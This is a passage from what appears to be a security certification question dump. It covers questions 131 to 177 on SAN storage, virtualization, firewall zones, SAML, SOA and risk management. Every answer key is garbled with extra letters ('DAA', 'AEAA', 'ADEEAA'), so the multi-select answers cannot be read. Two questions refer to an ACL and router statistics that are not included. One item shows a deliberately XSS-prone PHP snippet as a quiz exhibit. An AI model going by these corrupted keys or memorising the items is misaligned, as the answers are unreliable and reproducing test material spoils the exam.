C. Shared virtual switches can negatively impact the integrity of network packets
D. Additional overhead from network bridging can affect availability

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 131
A user on a virtual machine downloads a large file using a popular peer-to-peer torrent program. The user is unable to execute the program on their VM. A security administrator scans the VM and detects a virus in the program. The administrator reviews the hypervisor logs and correlates several access attempts to the time of execution of the virus. Which of the following is the MOST likely explanation for this behavior?

A. The hypervisor host does not have hardware acceleration enabled and does not allow DEP.
B. The virus scanner on the VM changes file extensions of all programs downloaded via P2P to prevent execution.
C. The virtual machine is configured to require administrator rights to execute all programs.
D. The virus is trying to access a virtual device which the hypervisor is configured to restrict.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 132
An administrator is troubleshooting availability issues on a FCoE based storage array that uses deduplication. An administrator has access to the raw data from the SAN and wants to restore the data to different hardware. Which of the following issues may potentially occur?

A. The existing SAN may be read-only.
B. The existing SAN used LUN masking.
C. The new SAN is not FCoE based.
D. The data may not be in a usable format.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 133
The security administrator has noticed a range of network problems affecting the proxy server. Based on reviewing the logs, the administrator notices that the firewall is being targeted with various web attacks at the same time that the network problems are occurring. Which of the following strategies would be MOST effective in conducting an in-depth assessment and remediation of the problems?

A. 1. Deploy an HTTP interceptor on the switch span port; 2. Adjust the external facing NIDS; 3. Reconfigure the firewall ACLs to block the all traffic above port 2000; 4. Verify the proxy server is configured correctly and hardened; 5. Review the logs weekly in the future.
B. 1. Deploy a protocol analyzer on the switch span port; 2. Adjust the internal HIDS; 3. Reconfigure the firewall ACLs to block outbound HTTP traffic; 4. Reboot the proxy server; 5. Continue to monitor the network.
C. 1. Deploy a protocol analyzer on the switch span port; 2. Adjust the external facing IPS; 3. Reconfigure the firewall ACLs to block unnecessary ports; 4. Verify the proxy server is configured correctly and hardened; 5. Continue to monitor the network.
D. 1. Deploy a network fuzzer on the switch span port; 2. Adjust the external facing IPS; 3. Reconfigure the proxy server to block the attacks; 4. Verify the firewall is configured correctly and hardened.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 134
Company A is merging with Company B. Company B uses mostly hosted services from an outside vendor, while Company A uses mostly in-house products. The project manager of the merger states the merged systems should meet these goals:
-Ability to customize systems per department -Quick implementation along with an immediate ROI -The internal IT team having administrative level control over all products
The project manager states the in-house services are the best solution. Because of staff shortages, the senior security administrator argues that security will be best maintained by continuing to use outsourced services. Which of the following solutions BEST solves the disagreement?

A. Raise the issue to the Chief Executive Officer (CEO) to escalate the decision to senior management with the recommendation to continue the outsourcing of all IT services.
B. Calculate the time to deploy and support the in-sourced systems accounting for the staff shortage and compare the costs to the ROI costs minus outsourcing costs. Present the document numbers to management for a final decision.
C. Perform a detailed cost benefit analysis of outsourcing vs. in-sourcing the IT systems and review the system documentation to assess the ROI of in-sourcing. Select COTS products to eliminate development time to meet the ROI goals.
D. Arrange a meeting between the project manager and the senior security administrator to review the

requirements and determine how critical all the requirements are.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 135
The new security policy states that only authorized software will be allowed on the corporate network and all personally owned equipment needs to be configured by the IT security staff before being allowed on the network. The security administrator creates standard images with all the required software and proper security controls. These images are required to be loaded on all personally owned equipment prior to connecting to the corporate network. These measures ensure compliance with the new security policy. Which of the following security risks still needs to be addressed in this scenario?

A. An employee copying gigabytes of personal video files from the employee’s personal laptop to their company desktop to share files.
B. An employee connecting their personal laptop to use a non-company endorsed accounting application that the employee used at a previous company.
C. An employee using a corporate FTP application to transfer customer lists and other proprietary files to an external computer and selling them to a competitor.
D. An employee accidentally infecting the network with a virus by connecting a USB drive to the employee’s personal laptop.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 136
The increasing complexity of attacks on corporate networks is a direct result of more and more corporate employees connecting to corporate networks with mobile and personal devices. In most cases simply banning these connections and devices is not practical because they support necessary business needs. Which of the following are typical risks and mitigations associated with this new trend?

A. Risks: Data leakage, lost data on destroyed mobile devices, smaller network attack surface, prohibitive telecommunications costs
Mitigations: Device Encryptions, lock screens, certificate based authentication, corporate telecom plans
B. Risks: Confidentiality leaks through cell conversations, availability of remote corporate data, integrity of data stored on the devices
Mitigations: Cellular privacy extensions, mobile VPN clients, over-the-air backups.
C. Risks: Data exfiltration, loss of data via stolen mobile devices, increased data leakage at the network edge
Mitigations: Remote data wipe capabilities, implementing corporate security on personally owned devices
D. Risks: Theft of mobile devices, unsanctioned applications, minimal device storage, call quality
Mitigations: GPS tracking, centralized approved application deployment, over-the-air backups, QoS implementation

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 137
A security engineer at a major financial institution is prototyping multiple secure network configurations. The testing is focused on understanding the impact each potential design will have on the three major security tenants of the network. All designs must take into account the stringent compliance and reporting requirements for most worldwide financial institutions. Which of the following is the BEST list of security lifecycle related concerns related to deploying the final design?

A. Decommissioning the existing network smoothly, implementing maintenance and operations procedures for the new network in advance, and ensuring compliance with applicable regulations and laws.
B. Interoperability with the Security Administration Remote Access protocol, integrity of the data at rest, overall network availability, and compliance with corporate and government regulations and policies.
C. Resistance of the new network design to DDoS attacks, ability to ensure confidentiality of all data in transit, security of change management processes and procedures, and resilience of the firewalls to power fluctuations.
D. Decommissioning plan for the new network, proper disposal protocols for the existing network equipment, transitioning operations to the new network on day one, and ensuring compliance with corporate data retention policies.
E. Ensuring smooth transition of maintenance resources to support the new network, updating all whole disk encryption keys to be compatible with IPv6, and maximizing profits for bank shareholders.

Correct Answer: AEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 138
The sales staff at a software development company has received the following requirements from a customer: “We need the system to notify us in advance of all software errors and report all outages”. Which of the following BEST conveys these customer requirements to the software development team to understand and implement?

A. The system shall send a status message to a network monitoring console every five seconds while in an error state and the system should email the administrator when the number of input errors exceeds five.
B. The system shall alert the administrator upon the loss of network communications and when error flags are thrown.
C. The system shall email the administrator when processing deviates from expected conditions and the system shall send a heartbeat message to a monitoring console every second while in normal operations.
D. The system shall email the administrator when an error condition is detected and a flag is thrown and the system shall send an email to the administrator when network communications are disrupted.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 139
A programming team is deploying a new PHP module to be run on a Solaris 10 server with trusted extensions. The server is configured with three zones, a management zone, a customer zone, and a backend zone. The security model is constructed so that only programs in the management zone can communicate data between

the zones. After installation of the new PHP module, which handles on-line customer payments, it is not functioning correctly. Which of the following is the MOST likely cause of this problem?

A. The PHP module is written to transfer data from the customer zone to the management zone, and then from the management zone to the backend zone.
B. The iptables configuration is not configured correctly to permit zone to zone communications between the customer and backend zones.
C. The PHP module was installed in the management zone, but is trying to call a routine in the customer zone to transfer data directly to a MySQL database in the backend zone.
D. The ipfilters configuration is configured to disallow loopback traffic between the physical NICs associated with each zone.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 140
Company XYZ is selling its manufacturing business consisting of one plant to a competitor, Company QRS. All of the people will become QRS employees, but will retain permissions to plant-specific information and resources for one month. To ease the transition, Company QRS also connected the plant and employees to the Company QRS network. Which of the following threats is the HIGHEST risk to Company XYZ?

A. Malware originating from Company XYZ’s network
B. Co-mingling of company networks
C. Lack of an IPSec connection between the two networks
D. Loss of proprietary plant information

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 141
Company ABC has grown yearly through mergers and acquisitions. This has led to over 200 internal custom web applications having standalone identity stores. In order to reduce costs and improve operational efficiencies a project has been initiated to implement a centralized security infrastructure.
The requirements are as follows:
-Reduce costs -Improve efficiencies and time to market -Manageable -Accurate identity information -Standardize on authentication and authorization -Ensure a reusable model with standard integration patterns
Which of the following security solution options will BEST meet the above requirements? (Select THREE).

A. Build an organization-wide fine grained access control model stored in a centralized policy data store.
B. Implement self service provisioning of identity information, coarse grained, and fine grained access control.
C. Implement a web access control agent based model with a centralized directory model providing coarse grained access control and single sign-on capabilities.
D. Implement a web access controlled reverse proxy and centralized directory model providing coarse grained access control and single sign-on capabilities.
E. Implement automated provisioning of identity information; coarse grained, and fine grained access control.
F. Move each of the applications individual fine grained access control models into a centralized directory with fine grained access control.
G. Implement a web access control forward proxy and centralized directory model, providing coarse grained

access control, and single sign-on capabilities.

Correct Answer: ADEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 142
A bank has just outsourced the security department to a consulting firm, but retained the security architecture group. A few months into the contract the bank discovers that the consulting firm has sub-contracted some of the security functions to another provider. Management is pressuring the sourcing manager to ensure adequate protections are in place to insulate the bank from legal and service exposures. Which of the following is the MOST appropriate action to take?

A. Directly establish another separate service contract with the sub-contractor to limit the risk exposure and legal implications.
B. Ensure the consulting firm has service agreements with the sub-contractor; if the agreement does not exist, exit the contract when possible.
C. Log it as a risk in the business risk register and pass the risk to the consulting firm for acceptance and responsibility.
D. Terminate the contract immediately and bring the security department in-house again to reduce legal and regulatory exposure.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 143
Company XYZ has invested an increasing amount in security due to the changing threat landscape. The company is going through a cost cutting exercise and the Chief Financial Officer (CFO) has queried the security budget allocated to the Chief Information Security Officer (CISO). At the same time, the CISO is actively promoting business cases for additional funding to support new initiatives. These initiatives will mitigate several security incidents that have occurred due to ineffective controls.
A security advisor is engaged to assess the current controls framework and to provide recommendations on whether preventative, detective, or corrective controls should be implemented. How should the security advisor respond when explaining which controls to implement?

A. Preventative controls are useful before an event occurs, detective controls are useful during an event, and corrective controls are useful after an event has occurred. A combination of controls can be used.
B. Corrective controls are more costly to implement, but are only needed for real attacks or high value assets; therefore, controls should only be put in place after a real attack has occurred.
C. Detective controls are less costly to implement than preventative controls; therefore, they should be encouraged wherever possible. Corrective controls are used during an event or security incident. Preventative controls are hard to achieve in practice due to current market offerings.
D. Always advise the use of preventative controls as this will prevent security incidents from occurring in the first place. Detective and corrective controls are redundant compensating controls and are not required if preventative controls are implemented.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 144
There has been a recent security breach which has led to the release of sensitive customer information. As part of improving security and reducing the disclosure of customer data, a training company has been employed to educate staff. Which of the following should be the primary focus of the privacy compliance training program?

A. Explain how customer data is gathered, used, disclosed, and managed.
B. Remind staff of the company's data handling policy and have staff sign an NDA.
C. Focus on explaining the "how" and "why" customer data is being collected.
D. Republish the data classification and the confidentiality policy.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 145
A new malware spreads over UDP Port 8320 and several network hosts have been infected. A new security administrator has determined a possible cause, and the infected machines have been quarantined. Which of the following actions could a new security administrator take to further mitigate this issue?

A. Limit source ports on the firewall to specific IP addresses.
B. Add an explicit deny-all and log rule as the final entry of the firewall rulebase.
C. Implement stateful UDP filtering on UDP ports above 1024.
D. Configure the firewall to use IPv6 by default.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 146
A newly-hired Chief Information Security Officer (CISO) is faced with improving security for a company with low morale and numerous disgruntled employees. After reviewing the situation for several weeks the CISO publishes a more comprehensive security policy with associated standards. Which of the following issues could be addressed through the use of technical controls specified in the new security policy?

A. Employees publishing negative information and stories about company management on social network sites and blogs.
B. An employee remotely configuring the email server at a relative's company during work hours.
C. Employees posting negative comments about the company from personal phones and PDAs.
D. External parties cloning some of the company's externally facing web pages and creating look-alike sites.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 147
A small company has recently placed a newly installed DNS server on the DMZ and wants to secure it by allowing Internet hosts to query the DNS server. Since the company deploys an internal DNS server, all DNS queries to that server coming from the company network should be blocked. An IT administrator has placed the following ACL on the company firewall:
Testing shows that the DNS server in the DMZ is not working. Which of the following should the administrator do to resolve the problem?

A. Modify the SRC and DST ports of ACL 1
B. Modify the SRC IP of ACL 1 to 0.0.0.0/32
C. Modify the ACTION of ACL 2 to Permit
D. Modify the PROTO of ACL 1 to TCP

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 148
An administrator would like to connect a server to a SAN. Which of the following processes would BEST allow for availability and access control?

A. Install a dual port HBA on the SAN, create a LUN on the server, and enable deduplication and data snapshots.
B. Install a multipath LUN on the server with deduplication, and enable LUN masking on the SAN.
C. Install 2 LUNs on the server, cluster HBAs on the SAN, and enable multipath and data deduplication.
D. Install a dual port HBA in the server; create a LUN on the SAN, and enable LUN masking and multipath.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 149
A company data center provides Internet based access to email and web services. The firewall is separated into four zones:
-RED ZONE is an Internet zone -ORANGE ZONE a Web DMZ -YELLOW ZONE an email DMZ -GREEN ZONE is a management interface
There are 15 email servers and 10 web servers. The data center administrator plugs a laptop into the management interface to make firewall changes. The administrator would like to secure this environment but has a limited budget. Assuming each addition is an appliance, which of the following would provide the MOST appropriate placement of security solutions while minimizing the expenses?

A. RED ZONE. none ORANGE ZONE. WAF YELLOW ZONE. SPAM Filter GREEN ZONE. none
B. RED ZONE. Virus Scanner, SPAM Filter ORANGE ZONE. NIPS YELLOW ZONE. NIPS GREEN ZONE. NIPS
C. RED ZONE. WAF, Virus Scanner ORANGE ZONE. NIPS YELLOW ZONE. NIPS GREEN ZONE. SPAM Filter
D. RED ZONE. NIPS ORANGE ZONE. WAF YELLOW ZONE. Virus Scanner, SPAM Filter GREEN ZONE. none

Correct Answer: DAA

Section: (none)
Explanation

Explanation/Reference:

QUESTION 150
An administrator implements a new PHP application into an existing website and discovers the newly added PHP pages do not work. The rest of the site also uses PHP and is functioning correctly. The administrator tested the new application on their personal workstation thoroughly before uploading to the server and did not run into any errors. Checking the Apache configuration file, the administrator verifies that the new virtual directory is added as listed:

```
<VirtualHost *:80>
DocumentRoot "/var/www"
<Directory "/home/administrator/app">
AllowOveride none
Order allow, deny
Allow from all
</Directory>
</VirtualHost>
```

Which of the following is MOST likely occurring so that this application does not run properly?

A. PHP is overriding the Apache security settings.

B. SELinux is preventing HTTP access to home directories.

C. PHP has not been restarted since the additions were added.

D. The directory had an explicit allow statement rather than the implicit deny.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 151
Company GHI consolidated their network distribution so twelve network VLANs would be available over dual fiber links to a modular L2 switch in each of the company's six IDFs. The IDF modular switches have redundant switch fabrics and power supplies. Which of the following threats will have the GREATEST impact on the network and what is the appropriate remediation step?

A. Threat: 802.1q trunking attack Remediation: Enable only necessary VLANs for each port

B. Threat: Bridge loop Remediation: Enable spanning tree

C. Threat: VLAN hopping Remediation: Enable only necessary VLANs for each port

D. Threat: VLAN hopping Remediation: Enable ACLs on the IDF switch

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 152
After a recent outbreak of malware attacks, the Chief Information Officer (CIO) tasks the new security manager with determining how to keep these attacks from reoccurring. The company has a standard image for all laptops/workstations and uses a host-based firewall and anti-virus. Which of the following should the security

manager suggest to INCREASE each system's security level?

A. Upgrade all system's to use a HIPS and require daily anti-virus scans.
B. Conduct a vulnerability assessment of the standard image and remediate findings.
C. Upgrade the existing NIDS to NIPS and deploy the system across all network segments.
D. Rebuild the standard image and require daily anti-virus scans of all PCs and laptops.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 153
The Chief Information Officer (CIO) of Company XYZ has returned from a large IT conference where one of the topics was defending against zero day attacks – specifically deploying third party patches to vulnerable software. Two months prior, the majority of the company systems were compromised because of a zero day exploit. Due to budget constraints the company only has operational systems. The CIO wants the Security Manager to research the use of these patches. Which of the following is the GREATEST concern with the use of a third party patch to mitigate another un-patched vulnerability?

A. The company does not have an adequate test environment to validate the impact of the third party patch, introducing unknown risks.
B. The third party patch may introduce additional unforeseen risks and void the software licenses for the patched applications.
C. The company's patch management solution only supports patches and updates released directly by the vendor.
D. Another period of vulnerability will be introduced because of the need to remove the third party patch prior to installing any vendor patch.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 154
When planning a complex system architecture, it is important to build in mechanisms to secure log information, facilitate audit log reduction, and event correlation. Besides synchronizing system time across all devices through NTP, which of the following is also a common design consideration for remote locations?

A. Two factor authentication for all incident responders
B. A central SYSLOG server for collecting all logs
C. A distributed SIEM with centralized sensors
D. A SIEM server with distributed sensors

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 155

Which of the following implementations of a continuous monitoring risk mitigation strategy is correct?

A. Audit successful and failed events, transfer logs to a centralized server, institute computer assisted audit reduction, and email alerts to NOC staff hourly.
B. Audit successful and critical failed events, transfer logs to a centralized server once a month, tailor logged event thresholds to meet organization goals, and display alerts in real time when thresholds are approached.
C. Audit successful and failed events, transfer logs to a centralized server, institute computer assisted audit reduction, tailor logged event thresholds to meet organization goals, and display alerts in real time when thresholds are exceeded.
D. Audit failed events only, transfer logs to a centralized server, implement manual audit reduction, tailor logged event thresholds to meet organization goals, and display alerts in real time when thresholds are approached and exceeded.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 156
A corporation relies on a server running a trusted operating system to broker data transactions between different security zones on their network. Each zone is a separate domain and the only connection between the networks is via the trusted server. The three zones at the corporation are as followeD.

-Zone A connects to a network, which is also connected to the Internet through a router.
-Zone B to a closed research and development network.
-Zone C to an intermediary switch supporting a SAN, dedicated to long-term audit log and file

storage, so the corporation meets compliance requirements.
A firewall is deployed on the inside edge of the Internet connected router. Which of the following is the BEST location to place other security equipment?

A. HIPS on all hosts in Zone A and B, and an antivirus and patch server in Zone C.
B. A WAF on the switch in Zone C, an additional firewall in Zone A, and an antivirus server in Zone B.
C. A NIPS on the switch in Zone C, an antivirus server in Zone A, and a patch server in Zone B.
D. A NIDS on the switch in Zone C, a WAF in Zone A, and a firewall in Zone B.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 157
A system architect has the following constraints from the customer:

-Confidentiality, Integrity, and Availability (CIA) are all of equal importance.
-Average availability must be at least 6 nines (99.9999%).
-All devices must support collaboration with every other user device.
-All devices must be VoIP and teleconference ready.

Which of the following security controls is the BEST to apply to this architecture?

A. Deployment of multiple standard images based on individual hardware configurations, employee choice of hardware and software requirements, triple redundancy of all processing equipment.
B. Enforcement of strict network access controls and bandwidth minimization techniques, a single standard software image, high speed processing, and distributed backups of all equipment in the datacenter.
C. Deployment of a unified VDI across all devices, SSD RAID in all servers, multiple identical hot sites, granting administrative rights to all users, backup of system critical data.
D. Enforcement of security policies on mobile/remote devices, standard images and device hardware configurations, multiple layers of redundancy, and backup on all storage devices.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 158
The security administrator reports that the physical security of the Ethernet network has been breached, but the fibre channel storage network was not breached. Why might this still concern the storage administrator? (Select TWO).

A. The storage network uses FCoE.
B. The storage network uses iSCSI.
C. The storage network uses vSAN.
D. The storage network uses switch zoning.
E. The storage network uses LUN masking.

Correct Answer: ABEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 159
As part of a new wireless implementation, the Chief Information Officer's (CIO's) main objective is to immediately deploy a system that supports the 802.11r standard, which will help wireless VoIP devices in moving vehicles. However, the 802.11r standard was not ratified by the IETF. The wireless vendor's products do support the pre-ratification version of 802.11r. The security and network administrators have tested the product and do not see any security or compatibility issues; however, they are concerned that the standard is not yet final. Which of the following is the BEST way to proceed?

A. Purchase the equipment now, but do not use 802.11r until the standard is ratified.
B. Do not purchase the equipment now as the client devices do not yet support 802.11r.
C. Purchase the equipment now, as long as it will be firmware upgradeable to the final 802.11r standard.
D. Do not purchase the equipment now; delay the implementation until the IETF has ratified the final 802.11r standard.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 160

A firm’s Chief Executive Officer (CEO) is concerned that its IT staff lacks the knowledge to identify complex vulnerabilities that may exist in the payment system being internally developed. The payment system being developed will be sold to a number of organizations and is in direct competition with another leading product. The CEO highlighted, in a risk management meeting that code base confidentiality is of upmost importance to allow the company to exceed the competition in terms of product reliability, stability and performance. The CEO also highlighted that company reputation for secure products is extremely important. Which of the following will provide the MOST thorough testing and satisfy the CEO’s requirements?

A. Use the security assurance team and development team to perform Grey box testing.
B. Sign a NDA with a large consulting firm and use the firm to perform Black box testing.
C. Use the security assurance team and development team to perform Black box testing.
D. Sign a NDA with a small consulting firm and use the firm to perform Grey box testing.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 161
The security manager is in the process of writing a business case to replace a legacy secure web gateway so as to meet an availability requirement of 99.9% service availability. According to the vendor, the newly acquired firewall has been rated with an MTBF of 10,000 hours and has an MTTR of 2 hours. This equates to 1.75 hours per year of downtime. Based on this, which of the following is the MOST accurate statement?

A. The firewall will meet the availability requirement because availability will be 99.98%.
B. The firewall will not meet the availability requirement because availability will be 85%.
C. The firewall will meet the availability requirement because availability will be 99.993%.
D. The firewall will not meet the availability requirement because availability will be 99.2%.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 162
What of the following vulnerabilities is present in the below source code file named ‘AuthenticatedArea.php’?

```
<html><head><title>AuthenticatedArea</title></head>
<?
include (“/inc/common.php”);
$username = $_REQUEST[‘username’];
if ($username != “”) {
echo “Your username is: “ . $_REQUEST[‘username’];
}else {
header)(“location: /login.php”
}
?>
</html>
```

A. Header manipulation
B. Account disclosure
C. Unvalidated file inclusion
D. Cross-site scripting

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 163
There have been some failures of the company's customer-facing website. A security engineer has analyzed the root cause to be the WAF. System logs show that the WAF has been down for 14 total hours over the past month in four separate situations. One of these situations was a two hour scheduled maintenance activity aimed to improve the stability of the WAF. Which of the following is the MTTR, based on the last month's performance figures?

A. 3 hours
B. 3.5 hours
C. 4 hours
D. 4.666 hours

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 164
To support a software security initiative business case, a project manager needs to provide a cost benefit analysis. The project manager has asked the security consultant to perform a return on investment study. It has been estimated that by spending $300,000 on the software security initiative, a 30% savings in cost will be realized for each project. Based on an average of 8 software projects at a current cost of $50,000 each, how many years will it take to see a positive ROI?

A. Nearly four years
B. Nearly six years
C. Within the first year
D. Nearly three years

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 165
During user acceptance testing, the security administrator believes to have discovered an issue in the login prompt of the company's financial system. While entering the username and password, the program crashed and displayed the system command prompt. The security administrator believes that one of the fields may have been mistyped and wants to reproduce the issue to report it to the software developers. Which of the following should the administrator use to reproduce the issue?

A. The administrator should enter a username and use an offline password cracker in brute force mode.
B. The administrator should use a network analyzer to determine which packet caused the system to crash.
C. The administrator should extract the password file and run an online password cracker in brute force mode

against the password file.

D. The administrator should run an online fuzzer against the login screen.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 166
A security administrator wants to perform an audit of the company password file to ensure users are not using personal information such as addresses and birthdays as part of their password. The company employs 200,000 users, has virtualized environments with cluster and cloud-based computing resources, and enforces a minimum password length of 14 characters. Which of the following options is BEST suited to run the password auditing software and produce a report in the SHORTEST amount of time?

A. The system administrator should take advantage of the company's cluster based computing resources, upload the password file to the cluster, and run the password cracker on that platform.
B. The system administrator should upload the password file to a virtualized de-duplicated storage system to reduce the password entries and run a password cracker on that file.
C. The system administrator should build a virtual machine on the administrator's desktop, transfer the password file to it, and run the a password cracker on the virtual machine.
D. The system administrator should upload the password file to cloud storage and use on-demand provisioning to build a purpose based virtual machine to run a password cracker on all the users.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 167
The network administrator has been tracking the cause of network performance problems and decides to take a look at the internal and external router stats.
Which of the following should the network administrator do to resolve the performance issue after analyzing the above information?

A. The IP TOS field of business related network traffic should be modified accordingly.
B. The TCP flags of business related traffic should be modified accordingly.
C. An ACL should be placed on the external router to drop incoming ICMP packets.
D. An ACL should be placed on the internal router to drop layer 4 packets to and from port 0.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 168
The security administrator at 'company.com' is reviewing the network logs and notices a new UDP port pattern where the amount of UDP port 123 packets has increased by 20% above the baseline. The administrator runs a packet capturing tool from a server attached to a SPAN port and notices the following.
UDP 192.168.0.1:123 -> 172.60.3.0:123 UDP 192.168.0.36:123 -> time.company.com UDP 192.168.0.112:123 -> 172.60.3.0:123 UDP 192.168.0.91:123 -> time.company.com UDP 192.168.0.211:123 -> 172.60.3.0:123

UDP 192.168.0.237:123 -> time.company.com UDP 192.168.0.78:123 -> 172.60.3.0:123
The corporate HIPS console reports an MD5 hash mismatch on the svchost.exe file of the following computers:
-192.168.0.1
-192.168.0.112
-192.168.0.211
-192.168.0.78
Which of the following should the security administrator report to upper management based on the above output?

A. An NTP client side attack successfully exploited some hosts.
B. A DNS cache poisoning successfully exploited some hosts.
C. An NTP server side attack successfully exploited some hosts.
D. A DNS server side attack successfully exploited some hosts.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 169
A mid-level company is rewriting its security policies and has halted the rewriting progress because the company's executives believe that its major vendors, who have cultivated a strong personal and professional relationship with the senior level staff, have a good handle on compliance and regulatory standards. Therefore, the executive level managers are allowing vendors to play a large role in writing the policy. Having experienced this type of environment in previous positions, and being aware that vendors may not always put the company's interests first, the IT Director decides that while vendor support is important, it is critical that the company writes the policy objectively. Which of the following is the recommendation the IT Director should present to senior staff?

A. 1) Consult legal, moral, and ethical standards; 2) Draft General Organizational Policy; 3) Specify Functional Implementing Policies; 4) Allow vendors to review and participate in the establishment of focused compliance standards, plans, and procedures
B. 1) Consult legal and regulatory requirements; 2) Draft General Organizational Policy; 3) Specify Functional Implementing Policies; 4) Establish necessary standards, procedures, baselines, and guidelines
C. 1) Draft General Organizational Policy; 2) Establish necessary standards and compliance documentation; 3) Consult legal and industry security experts; 4) Determine acceptable tolerance guidelines
D. 1) Draft a Specific Company Policy Plan; 2) Consult with vendors to review and collaborate with executives; 3) Add industry compliance where needed; 4) Specify Functional Implementing Policies

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 170
A Chief Information Security Officer (CISO) has been trying to eliminate some IT security risks for several months. These risks are not high profile but still exist. Furthermore, many of these risks have been mitigated with innovative solutions. However, at this point in time, the budget is insufficient to deal with the risks. Which of the following risk strategies should be used?

A. Transfer the risks
B. Avoid the risks

C. Accept the risks

D. Mitigate the risks

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 171
The firm's CISO has been working with the Chief Procurement Officer (CPO) and the Senior Project Manager (SPM) on soliciting bids for a series of HIPS and NIPS products for a major installation in the firm's new Hong Kong office. After reviewing RFQs received from three vendors, the CPO and the SPM have not gained any real data regarding the specifications about any of the solutions and want that data before the procurement continues. Which of the following will the CPO and SPM have the CISO do at this point to get back on track in this procurement process?

A. Ask the three submitting vendors for a full blown RFP so that the CPO and SPM can move to the next step.

B. Contact the three submitting vendor firms and have them submit supporting RFIs to provide more detailed information about their product solutions.

C. Provide the CPO and the SPM a personalized summary from what the CISO knows about these three submitting vendors.

D. Inform the three submitting vendors that there quotes are null and void at this time and that they are disqualified based upon their RFQs.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 172
To prevent a third party from identifying a specific user as having previously accessed a service provider through an SSO operation, SAML uses which of the following?

A. Transient identifiers

B. SOAP calls

C. Discovery profiles

D. Security bindings

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 173
SAML entities can operate in a variety of different roles. Valid SAML roles include which of the following?

A. Attribute authority and certificate authority

B. Certificate authority and attribute requestor

C. Identity provider and service provider

D. Service provider and administrator

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 174
A financial institution has decided to purchase a very expensive resource management system and has selected the product and vendor. The vendor is experiencing some minor, but public, legal issues. Senior management has some concerns on maintaining this system should the vendor go out of business. Which of the following should the Chief Information Security Officer (CISO) recommend to BEST limit exposure?

A. Include a source code escrow clause in the contract for this system.
B. Require proof-of-insurance by the vendor in the RFP for this system.
C. Include a penalty clause in the contract for this system.
D. Require on-going maintenance as part of the SLA for this system.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 175
A company decides to purchase COTS software. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?

A. COTS software is typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid a lawsuit.
B. COTS software is not well known and is only available in limited quantities. Information concerning vulnerabilities is kept internal to the company that developed the software.
C. COTS software is well known and widely available. Information concerning vulnerabilities and viable attack patterns is typically ignored within the IT community.
D. COTS software is well known and widely available. Information concerning vulnerabilities and viable attack patterns is typically shared within the IT community.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 176
Which of the following is a security concern with deploying COTS products within the network?

A. It is difficult to verify the security of COTS code because the source is available to the customer and it takes significant man hours to sort through it.
B. COTS software often provides the source code as part of the licensing agreement and it becomes the company's responsibility to verify the security.
C. It is difficult to verify the security of COTS code because the source is not available to the customer in many cases.
D. COTS source code is readily available to the customer in many cases which opens the customer's network

to both internal and external attacks.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 177
The database team has suggested deploying a SOA based system across the enterprise. The Chief Information Officer (CIO) has decided to consult the security manager about the risk implications for adopting this architecture. Which of the following are concerns that the security manager should present to the CIO concerning the SOA system? (Select TWO).

A. Users and services are centralized and only available within the enterprise.
B. Users and services are distributed, often times over the Internet
C. SOA centrally manages legacy systems, and opens the internal network to vulnerabilities.
D. SOA abstracts legacy systems as a virtual device and is susceptible to VMEscape.
E. SOA abstracts legacy systems as web services, which are often exposed to outside threats.

Correct Answer: BEEAA
Section: (none)
Explanation

